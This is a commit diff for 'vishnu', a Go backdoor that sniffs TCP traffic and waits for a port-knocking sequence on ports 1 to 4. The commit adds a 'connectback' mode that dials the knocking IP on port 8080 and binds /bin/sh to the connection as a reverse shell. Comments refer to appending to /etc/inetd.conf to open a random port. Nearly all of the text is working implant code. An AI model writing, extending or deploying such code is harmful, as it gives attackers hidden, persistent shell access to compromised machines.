add connectback mode

src/vishnu.go

@@ -1,9 +1,11 @@
 package main
 
 import (
+	"errors"
 	"fmt"
 	"log"
 	"math/rand"
+	"net"
 	"os"
 	"os/exec"
 	"strconv"
@@ -13,11 +15,26 @@ import (
 	"github.com/google/gopacket/pcap"
 )
 
-var targetInterface = "ens160"
-var snaplen = int32(1600)
-var filter = "tcp"
-var secretPorts = []int{1, 2, 3, 4}
-var secretCounter = 0
+var (
+	targetInterface = "ens160"
+	snaplen         = int32(1600)
+	// vishnu uses tcp port knocking
+	filter = "tcp"
+	// ports in order to port knock on
+	secretPorts = []int{1, 2, 3, 4}
+	// how far into the sequence we are
+	// when secretCounter == len(secretPorts),
+	// port knocking is complete and shell is given
+	secretCounter = 0
+)
+
+const (
+	// if true, connect back to knocking
+	// IP on connectbackPort
+	connectback = false
+	// only relevant if connectback is true
+	connectbackPort = "8080"
+)
 
 func main() {
 	// Read package and analze them
@@ -38,6 +55,16 @@ func errorPrinter(err error) {
 	}
 }
 
+func grabRemoteIP(packet gopacket.Packet) (string, error) {
+	iplayer := packet.Layer(layers.LayerTypeIPv4)
+	if iplayer == nil {
+		return "", errors.New("Packet is not IPv4")
+	}
+
+	ip, _ := iplayer.(*layers.IPv4)
+	return ip.SrcIP.String(), nil
+}
+
 func printPacketInfo(packet gopacket.Packet) {
 
 	// Let's see if the packet is TCP
@@ -59,9 +86,17 @@ func printPacketInfo(packet gopacket.Packet) {
 	}
 
 	if secretCounter == len(secretPorts) {
-		// open the gateway
-		go vishnu()
 		secretCounter = 0
+		// grab  IP address
+		ip, err := grabRemoteIP(packet)
+		// TODO maybe just listen if connectback is
+		// on and we can't get the remote IP
+		if connectback && err != nil {
+			return
+		}
+
+		// open the gateway
+		go vishnu(ip)
 	}
 
 	// Check for errors
@@ -70,7 +105,25 @@ func printPacketInfo(packet gopacket.Packet) {
 	}
 }
 
-func vishnu() {
+func connectBack(ip string) {
+	// TODO make this a PTY shell instead
+	addr := net.JoinHostPort(ip, connectbackPort)
+	conn, err := net.Dial("tcp", addr)
+	if err != nil {
+		// TODO: figure out error handling
+		return
+	}
+
+	cmd := exec.Command("/bin/sh")
+	cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
+	cmd.Run()
+	conn.Close()
+}
+
+func vishnu(ip string) {
+	if connectback {
+		connectBack(ip)
+	}
 	randomPort := rand.Intn(65535-100) + 100
 	// println("The doors are open on port ", strconv.Itoa(randomPort))
 	// Append to a file /etc/inetd.conf